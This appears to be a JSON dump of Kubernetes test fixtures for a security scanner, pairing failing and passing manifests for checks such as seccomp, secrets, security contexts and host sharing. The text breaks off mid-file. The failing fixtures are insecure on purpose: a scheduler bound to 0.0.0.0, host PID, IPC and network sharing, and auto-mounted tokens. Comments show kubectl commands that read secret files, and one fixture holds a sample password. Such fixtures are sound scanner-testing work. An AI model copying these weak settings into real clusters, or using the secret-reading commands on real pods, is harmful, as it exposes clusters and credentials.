    "path": "tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-scheduler\n    - --bind-address=0.0.0.0\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-scheduler\n    - --bind-address=127.0.0.1\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SchedulerProfiling/SchedulerProfiling-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-scheduler\n    - --profiling=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_SchedulerProfiling/SchedulerProfiling-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-scheduler\n    tier: control-plane\n  name: kube-scheduler\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-scheduler\n    - --profiling=false\n    image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-scheduler\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n "
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-FAILED.yaml",
    "content": "apiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: cronjob-failed\nspec:\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          securityContext:\n            runAsNonRoot: true\n          containers:\n          - image: \"ubuntu\"\n            name: image\n  schedule: \"0 2 * * *\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED.yaml",
    "content": "---\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: cronjob-passed\nspec:\n  schedule: \"0 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        metadata:\n          annotations:\n            seccomp.security.alpha.kubernetes.io/pod: runtime/default\n        spec:\n          securityContext:\n            runAsUser: 1000\n            runAsGroup: 3000\n            fsGroup: 2000\n          volumes:\n            - name: sec-ctx-vol\n              emptyDir: {}\n          containers:\n            - name: sec-ctx-demo\n              image: busybox\n              command: [\"sh\", \"-c\", \"sleep 1h\"]\n              volumeMounts:\n                - name: sec-ctx-vol\n                  mountPath: /data/demo\n              securityContext:\n                allowPrivilegeEscalation: false\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED2.yaml",
    "content": "apiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: cronjob-passed2\nspec:\n  jobTemplate:\n    spec:\n      template:\n        metadata:\n          labels:\n            app: new-app\n        spec:\n          securityContext:\n            runAsNonRoot: true\n            seccompProfile:\n              type: RuntimeDefault\n          containers:\n          - image: \"ubuntu\"\n            name: image\n            securityContext:\n              allowPrivilegeEscalation: false\n  schedule: \"0 2 * * *\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED3.yaml",
    "content": "apiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: cronjob-passed3\nspec:\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          securityContext:\n            seccompProfile:\n              type: RuntimeDefault\n          containers:\n          - image: \"ubuntu\"\n            name: image\n            seccompProfile:\n              type: RuntimeDefault\n  schedule: \"0 2 * * *\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-securityContext-PASSED.yaml",
    "content": "---\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: cronjob-securityContext-passed\nspec:\n  schedule: \"0 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          securityContext:\n            runAsNonRoot: true\n            runAsUser: 1000\n            runAsGroup: 1000\n            seccompProfile:\n              type: RuntimeDefault\n          containers:\n            - name: \"test-job0\"\n              image: \"nginx:alpine\"\n              imagePullPolicy: Always\n              resources:\n                requests:\n                  cpu: 100m\n                  ephemeral-storage: 1Mi\n                  memory: 512Mi\n                limits:\n                  cpu: 100m\n                  ephemeral-storage: 10Gi\n                  memory: 512Mi\n              securityContext:\n                privileged: false\n                allowPrivilegeEscalation: false\n                readOnlyRootFilesystem: true\n                capabilities:\n                  drop:\n                    - all\n          restartPolicy: OnFailure\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: seccomp-failed\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n\n# kubectl exec -it seccomp-failed -- grep Seccomp /proc/1/status\n### This will return 'Seccomp:\t 0' indicating docker running with no Seccomp \n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED2.yaml",
    "content": "apiVersion: \"apps/v1\"\nkind: \"Deployment\"\nmetadata:\n  name: \"app-cert-manager\"\n  namespace: \"infra\"\n  labels:\n    app: \"cert-manager\"\n    app.kubernetes.io/name: \"cert-manager\"\n    app.kubernetes.io/instance: \"app-cert-manager\"\n    helm.sh/chart: \"cert-manager-v0.11.0\"\nspec:\n  replicas: \"2\"\n  selector:\n    matchLabels:\n      app: \"cert-manager\"\n      app.kubernetes.io/name: \"cert-manager\"\n      app.kubernetes.io/instance: \"jetstack-cert-manager\"\n  template:\n    metadata:\n      labels:\n        app: \"cert-manager\"\n        app.kubernetes.io/name: \"cert-manager\"\n        app.kubernetes.io/instance: \"app-cert-manager\"\n        helm.sh/chart: \"cert-manager-v0.11.0\"\n      annotations:\n    spec:\n      serviceAccountName: \"app-cert-manager\"\n      containers:\n      - name: \"cert-manager\"\n        image: \"quay.io/app/cert-manager-controller:v0.11.0\"\n        imagePullPolicy: \"IfNotPresent\"\n        args:\n        - \"--v=2\"\n        - \"--cluster-resource-namespace=infra\"\n        - \"--leader-election-namespace=infra\"\n        - \"--default-issuer-name=letsencrypt-prod\"\n        - \"--default-issuer-kind=ClusterIssuer\"\n        - \"--webhook-namespace=$(POD_NAMESPACE)\"\n        - \"--webhook-ca-secret=app-cert-manager-webhook-ca\"\n        - \"--webhook-serving-secret=app-cert-manager-webhook-tls\"\n        - \"--webhook-dns-names=app-cert-manager-webhook,app-cert-manager-webhook.infra,app-cert-manager-webhook.infra.svc\"\n        ports:\n        - containerPort: \"9402\"\n        env:\n        - name: \"POD_NAMESPACE\"\n          valueFrom:\n            fieldRef:\n              fieldPath: \"metadata.namespace\"\n        resources:\n        apiVersion: \"apps/v1\"\n        kind: \"containers\"\n        parent: \"Deployment.app-cert-manager.infra (container 0)\"\n        parent_metadata:\n          name: \"jetstack-cert-manager\"\n          namespace: \"infra\"\n          labels:\n            app: \"cert-manager\"\n            app.kubernetes.io/name: \"cert-manager\"\n            app.kubernetes.io/instance: \"app-cert-manager\"\n            helm.sh/chart: \"cert-manager-v0.11.0\""
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED3.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: my-insecure-pod\nspec:\n  containers:\n  - name: my-container\n    image: my-image\n    securityContext:\n      seccompProfile:\n        type: RuntimeDefault\n  - name: my-container2\n    image: my-image2\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: seccomp-passed-metadata-annotations-docker\n  annotations:\n    seccomp.security.alpha.kubernetes.io/pod: docker/default\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# kubectl exec -it seccomp-passed -- grep Seccomp /proc/1/status\n### This will return 'Seccomp:   2' indicating the Seccomp filter is on in the container\n###\n# kubectl exec -it seccomp-passed -- /bin/sh\n# touch /tmp/testfile\n# chown 100:100 /tmp/testfile\t# This will fail - blocked by Seccomp\n# cat /proc/sys/kernel/seccomp/actions_avail\t# This shows the available actions (on newer kernels)\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED2.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: seccomp-passed-metadata-annotations-runtime\n  annotations:\n    seccomp.security.alpha.kubernetes.io/pod: runtime/default\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# kubectl exec -it seccomp-passed -- grep Seccomp /proc/1/status\n### This will return 'Seccomp:   2' indicating the Seccomp filter is on in the container\n###\n# kubectl exec -it seccomp-passed -- /bin/sh\n# touch /tmp/testfile\n# chown 100:100 /tmp/testfile\t# This will fail - blocked by Seccomp\n# cat /proc/sys/kernel/seccomp/actions_avail\t# This shows the available actions (on newer kernels)\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED3.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: seccomp-passed-security-context\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n    seccompProfile:\n      type: RuntimeDefault\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n\n# kubectl exec -it seccomp-failed -- grep Seccomp /proc/1/status\n### This will return 'Seccomp:\t 0' indicating docker running with no Seccomp \n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED4.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: seccomp-passed-deployment\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: test\n  template:\n    metadata:\n      labels:\n        app: test\n    spec:\n      containers:\n      - name: test\n        image: quay.io/test:0.1\n        ports:\n        - containerPort: 1234\n      securityContext:\n        allowPrivilegeEscalation: false\n        seccompProfile:\n          type: RuntimeDefault"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED5.yaml",
    "content": "\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: RELEASE-NAME\n  labels:\n    app.kubernetes.io/instance: RELEASE-NAME\n  annotations:\n  namespace: default\nspec:\n  serviceName: RELEASE-NAME\n  replicas: 1\n  updateStrategy:\n    type: RollingUpdate\n  selector:\n    matchLabels:\n      app.kubernetes.io/instance: RELEASE-NAME\n  template:\n    metadata:\n      name: RELEASE-NAME\n      labels:\n        app.kubernetes.io/instance: RELEASE-NAME\n      annotations:\n    spec:\n      affinity:\n        podAffinity:\n        podAntiAffinity:\n        nodeAffinity:\n      automountServiceAccountToken: false\n      securityContext:\n        allowPrivilegeEscalation: false\n        fsGroup: 10001\n        seccompProfile:\n          type: RuntimeDefault\n      containers:\n        - name: RELEASE-NAME\n          image: docker.io/test:1\n          imagePullPolicy: \"Always\""
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED6.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  labels:\n    app: test\n  name: seccomp-passed-metadata-annotations\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: test\n  strategy: {}\n  template:\n    metadata:\n      labels:\n        app: test\n      annotations:\n        seccomp.security.alpha.kubernetes.io/pod: \"docker/default\"\n    spec:\n      containers:\n      - name: test\n        image: quay.io/test:0.1\n        ports:\n        - containerPort: 1234\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED7.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: my-secure-pod\nspec:\n  containers:\n  - name: my-container\n    image: my-image\n    securityContext:\n      seccompProfile:\n        type: RuntimeDefault\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Seccomp/template.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  labels:\n    app.kubernetes.io/name: fdn-svc\n  name: fdn-svc\n  namespace: aws-dev\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: fdn-svc\n  template:\n    metadata:\n      annotations:\n        checksum/config: 9730118d75e24d06bac70b575dc49f6a75dd23c617198e4346fd6ed449362502\n      labels:\n        app.kubernetes.io/name: fdn-svc\n    spec:\n      containers:\n        - env:\n            - name: APP_PORT\n              value: ''\n            - name: SSU\n              value: ''\n            - name: client_id\n              value: fdn-svc\n            - name: cache\n              value: disabled\n            - name: cache_ttl\n              value: '60'\n            - name: Filter_Attribute_value_separator\n              value: '#'\n            - name: NEW_RELIC_APP_NAME\n              value: ''\n            - name: NEW_RELIC_LICENSE_KEY\n              value: ''\n            - name: PREEMPTIVE_LICENSE_KEY\n              value: ''\n            - name: PREEMPTIVE_USER_EMAIL\n              value: ''\n            - name: DEPENDENCY_CHECK\n              value: 'false'\n            - name: authorization_type\n              value: close\n            - name: RBAC_Support\n              value: enabled\n            - name: TENANT_FILE_PATH\n              value: /secrets\n          image: ''\n          imagePullPolicy: Always\n          name: fdn-svc\n          ports:\n            - containerPort: 8080\n              name: http\n              protocol: TCP\n          resources:\n            limits:\n              cpu: 200m\n              memory: 256Mi\n            requests:\n              cpu: 50m\n              memory: 256Mi\n          securityContext:\n            allowPrivilegeEscalation: false\n            capabilities:\n              drop:\n                - ALL\n            readOnlyRootFilesystem: true\n            runAsNonRoot: true\n            runAsUser: 65532\n            seccompProfile:\n              type: RuntimeDefault\n          volumeMounts:\n            - mountPath: /secrets\n              name: tenant-config-volume\n              readOnly: true\n      imagePullSecrets:\n        - name: bn-image-pullcreds\n      securityContext:\n        runAsUser: 65532\n      serviceAccountName: fdn-svc\n      volumes:\n        - name: tenant-config-volume\n          secret:\n            secretName: fdn-svc-secret"
  },
  {
    "path": "tests/kubernetes/checks/example_Secrets/nginx-NoSecret-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Secrets/pod-secretEnvironment-FAILED.yaml",
    "content": "# Create base64 encoded backend-username\n# echo -n 'backend-admin' | base64\napiVersion: v1\nkind: Secret\nmetadata:\n  name: backend-user\ndata:\n  backend-username: YmFja2VuZC1hZG1pbg==\n---\n# Create base64 encoded db-username\n# echo -n 'db-admin' | base64\napiVersion: v1\nkind: Secret\nmetadata:\n  name: db-user\ndata:\n  db-username: ZGItYWRtaW4=\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secret-test-pod\nspec:\n  containers:\n    - name: secret-env-container\n      image: nginx\n      env:\n        - name: SECRET_USERNAME\n          valueFrom:\n            secretKeyRef:\n              name: backend-user\n              key: backend-username\n        - name: DB_USERNAME\n          valueFrom:\n            secretKeyRef:\n              name: db-user\n              key: db-username\n---\n# Create base64 encoded user/password\n# echo -n 'my-app' | base64\n# echo -n '39528$vdg7Jb' | base64\napiVersion: v1\nkind: Secret\nmetadata:\n  name: test-secret\ndata:\n  username: bXktYXBw\n  password: Mzk1MjgkdmRnN0pi  # checkov:skip=CKV_SECRET_6 test secret\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secret-test-pod-2\nspec:\n  containers:\n    - name: envars-test-container\n      image: nginx\n      envFrom:\n        - secretRef:\n            name: test-secret\n# kubectl exec -it secret-test-pod -- env | grep USERNAME\n# kubectl exec -it secret-test-pod-2 -- env | egrep \"user|pass\""
  },
  {
    "path": "tests/kubernetes/checks/example_Secrets/pod-secretVolume-PASSED.yaml",
    "content": "# Create base64 encoded user/password\n# echo -n 'my-app' | base64\n# echo -n '39528$vdg7Jb' | base64\napiVersion: v1\nkind: Secret\nmetadata:\n  name: test-secret\ndata:\n  username: bXktYXBw\n  password: Mzk1MjgkdmRnN0pi  # checkov:skip=CKV_SECRET_6 test secret\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secret-test-pod\nspec:\n  containers:\n    - name: test-container\n      image: nginx\n      volumeMounts:\n        # name must match the volume name below\n        - name: secret-volume\n          mountPath: /etc/secret-volume\n  # The secret data is exposed to Containers in the Pod through a Volume.\n  volumes:\n    - name: secret-volume\n      secret:\n        secretName: test-secret\n# kubectl exec -it secret-test-pod -- ls /etc/secret-volume\n# kubectl exec -it secret-test-pod -- cat /etc/secret-volume/username\n# kubectl exec -it secret-test-pod -- cat /etc/secret-volume/password"
  },
  {
    "path": "tests/kubernetes/checks/example_Secrets/pod-secretsEnvironment-UNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: secret-test-pod\nspec:\n  containers:\n    - name: secret-env-container\n      image: nginx\n      env: env"
  },
  {
    "path": "tests/kubernetes/checks/example_SecurityContexts/frontend-replicaset-both-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: ReplicaSet\nmetadata:\n  name: frontend\n  labels:\n    app: guestbook\n    tier: frontend\nspec:\n  # modify replicas according to your case\n  replicas: 3\n  selector:\n    matchLabels:\n      tier: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n      - name: php-redis\n        image: gcr.io/google_samples/gb-frontend:v3\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SecurityContexts/pod-container-FAILED_malformed_spec.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo\nspec:\n  - securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  - volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  - containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n# cat /proc/1/status\n# allowPrivilegeEscalation: false means NoNewPrivs = 1\n# https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SecurityContexts/pod-container-both-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n# cat /proc/1/status\n# allowPrivilegeEscalation: false means NoNewPrivs = 1\n# https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SecurityContexts/podFAILED-containerPASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-net-raw-capability\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n      securityContext:\n        capabilities:\n          drop:\n            - NET_RAW\n# kubectl exec -it pod-drop-net-raw-capability -- bash\n# dnf -y install libcap-ng-utils\n# pscap\n### Notice no net_raw capability\n"
  },
  {
    "path": "tests/kubernetes/checks/example_SecurityContexts/podPassed-containerFailed.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n  schedule: \"*/1 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          securityContext:\n            runAsUser: 1000\n            runAsGroup: 3000\n            fsGroup: 2000\n          containers:\n            - name: hello\n              image: busybox\n              args:\n                - /bin/sh\n                - -c\n                - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n          hostPID: true\n          hostIPC: true\n          hostNetwork: true"
  },
  {
    "path": "tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensFAILED.yaml",
    "content": "# automountServiceAccountToken absent from pod (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  containers:\n    - name: main\n      image: alpine\n      command: [\"/bin/sleep\", \"999999\"]\n---\n# automountServiceAccountToken == True (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod2\nspec:\n  automountServiceAccountToken: true\n  containers:\n    - name: main\n      image: alpine\n      command: [\"/bin/sleep\", \"999999\"]\n\n# kubectl describe pods # You will see default token mounted as a volume\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensPASSED.yaml",
    "content": "# automountServiceAccountToken set to false (PASSED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-pass\nspec:\n  automountServiceAccountToken: false\n  containers:\n    - name: main\n      image: alpine\n      command: [\"/bin/sleep\", \"999999\"]\n\n# kubectl describe pods # No default token mounted - Volumes: <none>\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensUNKNOWN.yaml",
    "content": "apiVersion: apps/v1 #we know that all the communication in k8s happen through api. \n#what we want to create\n#inside kind you need to define type of api you want to execute. \nkind: Deployment #pod#service\nmetadata: #using metada and name we define the name of deployment\n  name: myapp-deployment #a deployment name myapp-deployment is created using .metadata.name field\n  labels:\n    app: myapp \nspec: #inside your deployment we need to provide spec how this deployment api will launch your pod\n  replicas: 3 #it will create three pod\n  selector: #the .spec.selector file define ho the deployment find which pod to manage. \n    matchLabels: #.spec.selector.matchlabel it is equivalent to map ke,value. something called as match expression\n      app: myapp \n  template: #container template deploy in three pod\n    metadata:\n      name: myapp-pod  #using metadata name\n      labels: \n        app: myapp #this label should match with pod label. \n    spec: #we define container spec\n        - name: myapp-container \n          image: nginx \n          ports:\n           - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/cronjob-hostresources-FAILED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n  schedule: \"*/1 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: hello\n            image: busybox\n            args:\n            - /bin/sh\n            - -c\n            - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n          hostPID: true\n          hostIPC: true\n          hostNetwork: true\n \n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ShareHost/jenkinsDeployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: RELEASE-NAME-jenkins\n  namespace: default\n  labels:\n    \"app.kubernetes.io/name\": 'jenkins'\n    \"helm.sh/chart\": \"jenkins-1.10.1\"\n    \"app.kubernetes.io/managed-by\": \"Helm\"\n    \"app.kubernetes.io/instance\": \"RELEASE-NAME\"\n    \"app.kubernetes.io/component\": \"jenkins-master\"\nspec:\n  replicas: 1\n  strategy:\n    type: Recreate\n  selector:\n    matchLabels:\n      \"app.kubernetes.io/component\": \"jenkins-master\"\n      \"app.kubernetes.io/instance\": \"RELEASE-NAME\"\n  template:\n    metadata:\n      labels:\n        \"app.kubernetes.io/name\": 'jenkins'\n        \"helm.sh/chart\": \"jenkins-1.10.1\"\n        \"app.kubernetes.io/managed-by\": \"Helm\"\n        \"app.kubernetes.io/instance\": \"RELEASE-NAME\"\n        \"app.kubernetes.io/component\": \"jenkins-master\"\n      annotations:\n        checksum/config: 5e98154b950c9481d238267a4ba68dc7271f8658683911fa0054f77294b32a72\n    spec:\n      securityContext:\n        runAsUser: 0\n      serviceAccountName: \"RELEASE-NAME-jenkins\"\n      initContainers:\n        - name: \"copy-default-config\"\n          image: \"jenkins/jenkins:lts\"\n          imagePullPolicy: \"Always\"\n          command: [ \"sh\", \"/var/jenkins_config/apply_config.sh\" ]\n          env:\n            - name: ADMIN_PASSWORD\n              valueFrom:\n                secretKeyRef:\n                  name: RELEASE-NAME-jenkins\n                  key: jenkins-admin-password\n            - name: ADMIN_USER\n              valueFrom:\n                secretKeyRef:\n                  name: RELEASE-NAME-jenkins\n                  key: jenkins-admin-user\n          resources:\n            limits:\n              cpu: 2000m\n              memory: 4096Mi\n            requests:\n              cpu: 50m\n              memory: 256Mi\n          volumeMounts:\n            - mountPath: /tmp\n              name: tmp\n            - mountPath: /var/jenkins_home\n              name: jenkins-home\n            - mountPath: /var/jenkins_config\n              name: jenkins-config\n            - mountPath: /usr/share/jenkins/ref/secrets/\n              name: secrets-dir\n            - mountPath: /usr/share/jenkins/ref/plugins\n              name: plugins\n            - mountPath: /var/jenkins_plugins\n              name: plugin-dir\n      containers:\n        - name: jenkins\n          image: \"jenkins/jenkins:lts\"\n          imagePullPolicy: \"Always\"\n          args: [ 